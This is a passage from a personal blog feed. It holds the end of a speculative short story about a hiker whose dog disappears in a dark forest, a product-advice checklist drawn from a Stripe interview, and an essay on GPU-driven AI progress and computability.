<p>“Are you listening? The Prime Exterior Agent, as Dima calls you. Exterior is a particularly useful word for you right now. I imagine you might even be laughing at the mess I’ve put myself in down here on the interior. In any case, you built all of this. I can’t help wondering why you would choose the exterior over the interior. Maybe you perceive geometry so differently that future and past look like hikes not unlike mine. What lies ahead on this one for me, hmm?”</p>

<p>They reached the first bend, where runoff had eaten the path into a shallow gully. Apollo dropped in and trotted through with liquid ease. Caspian slid after him and felt the cold, damp mud smear over the side of his boot, some of it reaching under his sock. He hissed at the contact.</p>

<p>“Apollo,” he said. “Slow.”</p>

<p>Then, he hesitated. Hesitation was new. He didn’t usually have to tell the dog to slow down. The dog usually stayed. The command left his mouth before he felt why he had given it.</p>

<p>The firs tightened further. The path ran between trunks spaced close enough to brush both shoulders at once. The air no longer moved on its own; you walked into it, displaced it, and it slid back into place behind you. The dark ahead was now the same as the dark behind. Caspian felt as if he were inside a hand closing in with every passing moment.</p>

<p>He exhaled, and tried again, softer.</p>

<p>“Listen. I’m playing along. I’m in the world you made. I hit my marks as best as I can. I’m not unreasonable. I’m only trying to understand. If you set the stage, and this whole ridge and sky and dog are yours, then I’m yours, which means abandonmnent would be cruelty, and you don’t—”</p>

<p>Click.</p>

<p>Then, silence.</p>

<p>Caspian stopped mid-step. The word died in his throat as if something pinched it shut from the outside. He stood still and  let every muscle lock where it had landed. One foot forward, weight soft on the ball, the other planted behind, knees slightly bend, hands half raised as if to part branches even though he couldn’t see branches. His body held the pose like prey that has just realized it has made noise.</p>

<p>“Apollo?”</p>

<p>The name came out quiet. Too quiet. The dark swallowed it before it had traveled a full arm’s length.</p>

<p>“Apollo. Heel!”</p>

<p>The silence had texture and thickness. It felt like standing with both ears packed with wool. He could hear the inside of his skull better than the outside.</p>

<p>The first slice of fear came in through his sternum. It was mechanical. His chest pulled tight, as if a strap had been cinched around it. His diaphragm tried to drop for more air and met resistance. His next inhalations were shorter, breath stacked on breath without full release, and acid heat began to build in his throat.</p>

<p>“<em>Ok, stop. Dogs go quiet. Don’t escalate.</em>”</p>

<p>He turned, slowly, careful not to lose the plane of the path. The turn didn’t help. The dark was the same in every direction. It was now black on black so uniform his brain kept trying to invent lines just to regain orientation. But those invented lines shifted and dissolved as soon as he tried to follow them. His balance wavered, and a small pulse of vertigo rose, carrying the sense that the ground might not be where he assumed.</p>

<p>He put his right hand in front of him and nothing met it. He put his left hand out to his side and touched damp, cold bark at shoulder height. He dragged his palm along it, rough against the skin below his fingers, and felt the shallow grooves where insects had run. He held on to the tree without thinking.</p>

<p>“<em>Apollo, come.</em>”</p>

<p>He could no longer tell thought from speech.</p>

<p>“<em>That’s not right. Something’s not right. You don’t just disappear. You can’t just disappear. Physics doesn’t allow drop-out. Not like that, anyway. Not unless something higher-level writes you out of the…</em>”</p>

<p>“No! No! I refuse that”, he said out loud. His voice shook and he heard it shake, and the hearing only made it shake worse. “You don’t get to edit him out while I’m looking. That’s not acceptable. That violates the premise. I forbid you.”</p>

<p>A buzzing started at the tips of his fingers and worked its way up his forearms in a faint electrical creep.</p>

<p>To his heightened perception, the forest kept narrowing. It was already narrow, but to him now it became immediate. Closer than skin. He had the absurd impression that if he lifted his face an inch, the dark itself would touch his lips. His body started scanning on its own. His eyes were wide and useless, pulled open so far the skin at the outer corners hurt, even though there was nothing to see. His vigilance was entirely deployed outward, hunting for contour, for edge, for anything meaningful at all.</p>

<p>The moment filled the whole channel, and into that overfull channel, without warning or buildup, something placed four words into his head.</p>

<style>
@keyframes vibrate{
    0%{transform:translate(0,0)}
    10%{transform:translate(-1px,-1px)}
    20%{transform:translate(1px,1px)}
    30%{transform:translate(-1px,1px)}
    40%{transform:translate(1px,-1px)}
    50%{transform:translate(0,0)}
    60%{transform:translate(-1px,-1px)}
    70%{transform:translate(1px,1px)}
    80%{transform:translate(-1px,1px)}
    90%{transform:translate(1px,-1px)}
    100%{transform:translate(0,0)}
}
@keyframes flicker{
    0%{opacity:1}
    5%{opacity:0}
    10%{opacity:1}
    15%{opacity:0.3}
    20%{opacity:1}
    30%{opacity:0}
    35%{opacity:1}
    45%{opacity:0.5}
    50%{opacity:1}
    60%{opacity:0}
    65%{opacity:0.7}
    70%{opacity:1}
    80%{opacity:0}
    85%{opacity:0.4}
    90%{opacity:1}
    95%{opacity:0}
    100%{opacity:1}
}
.glitch-letter{
    display:inline-block;
    animation:vibrate 0.5s infinite, flicker 2s infinite;
}
.glitch-space{
    display:inline-block;
    width:0.25em;
    animation:vibrate 0.5s infinite, flicker 2s infinite;
}
.glitch-letter:nth-child(2){animation-delay:0.1s,0.3s}
.glitch-letter:nth-child(3){animation-delay:0.2s,0.7s}
.glitch-space:nth-child(4){animation-delay:0.05s,0.5s}
.glitch-letter:nth-child(5){animation-delay:0.15s,0.9s}
.glitch-letter:nth-child(6){animation-delay:0.3s,0.2s}
.glitch-space:nth-child(7){animation-delay:0.25s,0.6s}
.glitch-letter:nth-child(8){animation-delay:0.1s,0.4s}
.glitch-letter:nth-child(9){animation-delay:0.35s,0.8s}
.glitch-letter:nth-child(10){animation-delay:0.2s,1s}
.glitch-space:nth-child(11){animation-delay:0.05s,0.35s}
.glitch-letter:nth-child(12){animation-delay:0.3s,0.75s}
.glitch-letter:nth-child(13){animation-delay:0.15s,0.55s}
.glitch-letter:nth-child(14){animation-delay:0.25s,0.65s}
.glitch-letter:nth-child(15){animation-delay:0.1s,0.85s}
.glitch-letter:nth-child(16){animation-delay:0.35s,0.45s}
</style>
<p><span style="font-style:italic;"><span class="glitch-letter">H</span><span class="glitch-letter">o</span><span class="glitch-letter">w</span><span class="glitch-space"></span><span class="glitch-letter">d</span><span class="glitch-letter">o</span><span class="glitch-space"></span><span class="glitch-letter">y</span><span class="glitch-letter">o</span><span class="glitch-letter">u</span><span class="glitch-space"></span><span class="glitch-letter">k</span><span class="glitch-letter">n</span><span class="glitch-letter">o</span><span class="glitch-letter">w</span><span class="glitch-letter">?</span></span></p>

<p>The words arrived wobbling and torn from a larger piece that shared their quality; they bore the trace of a wholeness in which speaker and source were the same. They were just there, without any trail of origin, unlike remembered words, which retain a faint one, and fully formed with the immediacy of physical contact: as if someone or something had pressed the question against the inside surface of his mind from the other side and left it there, undeniable. They were, in their fractured form, <em>kerygma</em>.</p>

<p>Caspian’s right knee dropped out from under him; the joint simply stopped holding. He fell forward and down, and his kneecap hit a buried stone. The impact shock detonated bright behind his eyes, a white burst in the black like a flash without light. For an instant he couldn’t tell if his eyes were open. He squeezed them shut, but the dark stayed the same.</p>

<p>The question still floated, calibrating the color of light in the room of his mind. He became aware of how small his body was relative to the trees, how thin his jacket felt, and how quickly heat was leaking from his knee into the cold ground.</p>

<p>Time thinned. He had no measure of how long he stayed like that. It might have been only a few heartbeats or a long while.</p>

<p>Ahead and slightly downhill, the dark shifted. At first, it was nothing more than a smear where the black loosened. It wasn’t brightness, more a different density, as if someone had taken a thumb to charcoal on paper and smudged it to a lighter gray. He stared at it. The smear resolved, gradually, into a dull, flat yellow through the trunks. Human yellow. Sodium-bulb yellow. Porch-light yellow. It was low, ugly, but real, and he felt a sudden yearning for that reality.</p>

<p>“Apollo.”</p>

<p>From downhill came the familiar light metallic click of a tag like one small coin of sound spun into the dark, already cooling by the time it reached him.</p>

<p>Then silence again.</p>]]></content><author><name>[&quot;Leo&quot;]</name></author><category term="musings" /><category term="epistemology" /><category term="ontology" /><category term="speculative" /><summary type="html"><![CDATA[“Our lives, the world, it’s all just lies, it’s all a story that we’re making up until a more compelling story comes along.” — Moore]]></summary></entry><entry><title type="html">What Makes a Great Product</title><link href="https://xm4ch1n3.github.io/2025-09-07-on-great-products/" rel="alternate" type="text/html" title="What Makes a Great Product" /><published>2025-09-07T00:00:00+00:00</published><updated>2025-09-07T00:00:00+00:00</updated><id>https://xm4ch1n3.github.io/on-great-products</id><content type="html" xml:base="https://xm4ch1n3.github.io/2025-09-07-on-great-products/"><![CDATA[<div style="text-align: center;">
    <img src="../assets/2025-09-07-on-great-products/cover.png" />
</div>
<blockquote>
  <p>“People tend to approximate the product rather than attacking it in a realistic, true way at any elementary level—regardless of how elementary—but it must be entirely true and entirely real and entirely accurate. They would rather approximate the entire problem than to take a small part of it and be real and true about it. To approximate the whole thing in a vague way gives you a feeling that you’ve more or less touched the thing, but in this way you just lead yourself toward confusion and ultimately you’re going to get so confused that you’ll never find your way out.”<br />
— Evans</p>
</blockquote>

<p>My weekend-morning routine starts with brewing a cup of coffee, then cycle through the open tabs I bookmarked for my future self and close the loop.</p>

<p>I was listening today to Linear’s <a href="https://linear.app/quality">Conversations on Quality</a>. Insightful, thoughtful: the angle people like me usually miss. I kept Stripe’s Jeff Weinstein interview on repeat while I wrote this. He fires off claim after claim; I’d felt the itch behind several, yet in hindsight I’m still not sure I truly understand them.</p>

<p>The interview’s core idea is that a great product isn’t the sum of meticulously polished features; it’s that <em>one</em> feature that tackles a problem so urgent customers would “<em>cancel the rest of their day</em>” to get it fixed. The deadliest mistake is to perfect the wrong thing from the start.</p>

<p>Some of the points below are well-worn, almost obvious, but the checklist is for me; some of my writing is just a trail of reminders. Wisdom, after all, is keeping timeless truths from slipping through your fingers.</p>

<hr />

<p><strong>Is your problem big enough to halt someone’s day?</strong> Don’t focus on minor pet peeves or “<em>wouldn’t it be cool if</em>” ideas.
<strong>Is it a top-tier problem?</strong> Customers will pay to solve their #1 or #2 problems, but not problem #38.
<strong>Are you polishing the wrong product?</strong> No matter how much you polish a solution for a problem that isn’t big enough, it won’t go anywhere. The core problem must be significant before you focus on beautifying the solution. However, beautifying the solution matters.</p>

<p><strong>Did you get out of your own head?</strong> The best way to understand the customer’s reality is to talk to them, and then simply listen. Don’t <em>pitch</em>. The most valuable information usually surfaces at the end of the conversation, once guards are down. As with intimate relationships, offer <em>space</em>. I used to struggle with this outside of obviously intimate contexts, but seen critically, every successful relationship is an intimate one.</p>

<p><strong>Did you focus on the core functionality first?</strong> Before beautifying every part of an application, ensure the core functions (the rule of three) are fast, reliable, and easy to use.
<strong>Are you building iteratively with your users?</strong> Instead of spending months on a big launch, open a Google Doc with a customer and co-design the solution. The tight feedback loop guarantees you’re building what they actually need.
<strong>Do you aim for “surprisingly great,” not just “quality?”</strong> The goal is to solve the problem so well that the experience feels delightful. That comes from anything that removes <em>friction</em>.</p>

<p><strong>Would users scream if your product went down?</strong> Weinstein tells of a product that went offline without a single customer complaint. This was a quiet proof it was never solving a critical problem. If your service is essential, the outage will scream.
<strong>Do you feel constantly behind?</strong> If you’re solving a burning problem, customers will haul you forward with a steady stream of requests and a heat you can feel. That perpetual sense of “always behind” is usually the surest sign you’ve struck something worth fixing. I wake up with it in my gut most days. Nothing stings like second place, and life keeps finding new ways to teach that lesson.</p>

<p><strong>Do you maintain a healthy ego?</strong> You have to believe you’re capable of building something truly groundbreaking, yet that ego must be tempered by self-awareness and aimed at propelling the team, not just feeding your own ambition.
<strong>Are you guided by ownership and decisiveness?</strong> The one lesson I’ve (positively) internalized from Amazon is this: ownership is the quietest, most powerful corporate virtue. It’s brutally simple: the problem is yours, so you fix it. Layer decisiveness on top and you get the rock-star leather-jacket rush that turns ownership into urgency; suddenly you’re volunteering for riskier problems and chasing solutions big enough to scare you.</p>

<hr />

<p>Circling back to the <code class="language-plaintext highlighter-rouge">xkcd</code> “<a href="https://xkcd.com/1205/">Is It Worth Your Time?</a>” strip: pick a task that actually pays back the minutes you invest in automating it. I like this bias; it’s a quick workout for the mind.</p>

<p>Now, casting the line: if your prospect runs a task <code class="language-plaintext highlighter-rouge">F</code> times a year and you automate away <code class="language-plaintext highlighter-rouge">T</code> hours each time, you give back <code class="language-plaintext highlighter-rouge">F × T × 5</code> years over the next half-decade. Multiply those hours by the customer’s internal cost per hour and you’ve sized the <em>value pool</em>.</p>

<p>If a tool erases a painful workflow, my ceiling is (maybe) 10–30% of the value pool. Crank up the frequency (<code class="language-plaintext highlighter-rouge">F</code>) or the time saved per run (<code class="language-plaintext highlighter-rouge">T</code>) and the cap rises, but if you let that <code class="language-plaintext highlighter-rouge">F × T</code> shrink, the deal evaporates.</p>

<p>It feels obvious now.</p>

<!--<div class="kit-wrapper">
<script async data-uid="a9fedd6a34" src="https://trimming-circles.kit.com/a9fedd6a34/index.js"></script>
</div>-->]]></content><author><name>[&quot;Leo&quot;]</name></author><category term="musings" /><category term="product" /><category term="entrepreneurship" /><summary type="html"><![CDATA[“People tend to approximate the product rather than attacking it in a realistic, true way at any elementary level—regardless of how elementary—but it must be entirely true and entirely real and entirely accurate. They would rather approximate the entire problem than to take a small part of it and be real and true about it. To approximate the whole thing in a vague way gives you a feeling that you’ve more or less touched the thing, but in this way you just lead yourself toward confusion and ultimately you’re going to get so confused that you’ll never find your way out.” — Evans]]></summary></entry><entry><title type="html">The Blackwell Imperative</title><link href="https://xm4ch1n3.github.io/2025-08-17-the-blackwell-imperative/" rel="alternate" type="text/html" title="The Blackwell Imperative" /><published>2025-08-17T00:00:00+00:00</published><updated>2025-08-17T00:00:00+00:00</updated><id>https://xm4ch1n3.github.io/the-blackwell-imperative</id><content type="html" xml:base="https://xm4ch1n3.github.io/2025-08-17-the-blackwell-imperative/"><![CDATA[<div style="text-align: center;">
    <img src="../assets/2025-08-17-the-blackwell-imperative/cover.jpg" />
</div>
<blockquote>
  <p>“Because of your work, I can do my life’s work in my lifetime.”<br />
— somebody to Jensen Huang</p>
</blockquote>

<p>I am 33 years old. I recently discovered that my still-active torrent account is 17 years old, which means I created it when I was about 16. I am a child of the internet. Back then, if my grandmother picked up the vintage rotary phone, my dial-up connection would drop in an instant and the 54% progress I’d made on a 2.4 MB download at 55 Kb/s would vanish.</p>

<p>Reflecting on that period and the technological progress since, I’m taken aback. We’ve gone from 2am chatter on mIRC and burning CDs filled with games, music, and adult content from DC++ to AI winning gold medals at the IMO, AI we can now run from our laptops on a 700 Mbps+ home network.</p>

<p>What changed?</p>

<h2 id="the-silicon-dynasty">The Silicon Dynasty</h2>

<p>While we all know who Jensen Huang is today, he once had humble origins. Contrary to widespread belief, he rose to an emperor’s rank through a rebellion led by those who believed in the silicon dynasty. The rebels fought against the sluggish status quo. Rebels like Alex Krizhevsky. His success planted a seed, the seed of a revolution whose fruits we now reap.</p>

<p>Today we have tinyboxes, DGX Spark, and Mac Mini clusters. Still spicy, but far more accessible than anyone thought possible. The silicon dynasty lets me call Kimi K2 via Groq at 434 tok/s. I can quickly iterate and build armed with nothing but a laptop. If you’re like me, you equate speed with superiority. I don’t mean gpt-4.1-mini being “better” than o3-pro just because it’s faster; I mean Groq’s inference serving equally potent models faster than OpenAI’s. I’m fairly convinced this principle holds broadly. My point is simple: you either ship Kimi K2 at 434 tok/s, or you don’t.</p>

<p>Under these conditions, empirical science thrives. If I can run the same experiment 1E6x in minutes, cleverness becomes a gratuity. I can summon statistics to probe my experimental setup. What did OpenAI and Google learn from solving IMO-level problems in 4.5 hours? Researchers at elite labs are extremely clever, so much goes without saying. But the competition is cutthroat and resource management essential. For example, you don’t invest in custom CUDA kernels unless you’re DeepSeek, choking under the pressure of being too slow.</p>

<p>I need to run as fast as you do, but you have a Bugatti Veyron and I don’t. I can’t slow you down. My only option is to race on a different medium. So I’ll build a janky plane from car scraps and finish the race before you.</p>

<p><strong>Speed is critical</strong>.</p>

<h2 id="the-box-contains-everything">The Box Contains Everything</h2>

<p>I can’t say I cherished <a href="https://www.imdb.com/title/tt8134186/">Devs</a> unreservedly, but there were few impeccable shots. For instance, this <a href="https://youtu.be/vOr9XB5rtJE">one</a>. Before you continue reading, go watch that clip.</p>

<p>If <a href="https://www.cs.virginia.edu/~robins/Turing_Paper_1936.pdf">computable numbers</a> can be represented by Turing machines, <a href="https://webhomes.maths.ed.ac.uk/~v1ranick/papers/wigner.pdf">mathematics is the language with which God has written the universe</a>, and the dynamics of nature are computable\(^*\), then a computer can master that language. In its most startling form, we call it a <a href="https://www.wikiwand.com/en/articles/Computer_simulation">sim</a>. According to smart ones, it goes like this: every physically realizable process is Turing-computable. This is the physical <a href="https://plato.stanford.edu/entries/church-turing/#ChurTuriThesPhys">Church-Turing thesis</a>. In principle, a tinybox <em>could</em> contain everything.</p>

<p><a href="https://nostalgebraist.tumblr.com/post/785766737747574784/the-void">Depending</a> <a href="https://www.lesswrong.com/s/N7nDePaNabJdnbXeE/p/vJFdjigzmcXMhNTsx">who</a> you’re asking, an LLM is a sim. It uses language as a proxy for simulation exercises. Furthermore, verbal reasoning is our civilization’s oldest compression scheme for thought. Across centuries, we’ve distilled complex chains of logic, intuition, and abstraction into shared textual formats. It’s error-prone but it’s also the only medium that’s scaled collective reasoning across billions of minds and thousands of years. Moreover, according to Vann McGee, <a href="https://ocw.mit.edu/courses/24-242-logic-ii-spring-2004/20c09c32f5c237d1fb4207a83153dbb5_why_study_comptt.pdf">it’s decidable</a>:</p>

<blockquote>
  <p>“Recursion theory is concerned with problems that can be solved by following a rule or a system of rules. Linguistic conventions, in particular, are rules for the use of a language, and so human language is the sort of rule-governed behavior to which recursion theory applies. Thus, if, as seems likely, an English-speaking child learns a system of rules that enable her to tell which strings of English words are English sentences, then the set of English sentences has to be a decidable set. This observation puts nontrivial constraints upon what the grammar of a natural language can look like. As Wittgenstein never tired of pointing out, when we learn the meaning of a word, we learn how to use the word. That is, we learn a rule that governs the word’s use.”</p>
</blockquote>

<p>Thus, it’s not too far fetched to conceive human reasoning can be simulated. To some degree, the cloud tinyboxes contain it already.</p>

<hr />

<p>\(^*\) There are classical results showing that computable initial data for the wave equation can evolve into non-computable states (Pour-El &amp; Richards, <a href="https://www.sciencedirect.com/science/article/pii/0001870881900013">1981</a>), with a stronger “nowhere-computable” version due to Pour-El &amp; Zhong (<a href="https://philpapers.org/rec/POUTWE">1997</a>).</p>

<!--<div class="kit-wrapper">
<script async data-uid="a9fedd6a34" src="https://trimming-circles.kit.com/a9fedd6a34/index.js"></script>
</div>-->]]></content><author><name>[&quot;Leo&quot;]</name></author><category term="musings" /><category term="ai" /><category term="speculative" /><category term="progress" /><summary type="html"><![CDATA[“Because of your work, I can do my life’s work in my lifetime.” — somebody to Jensen Huang]]></summary></entry></feed>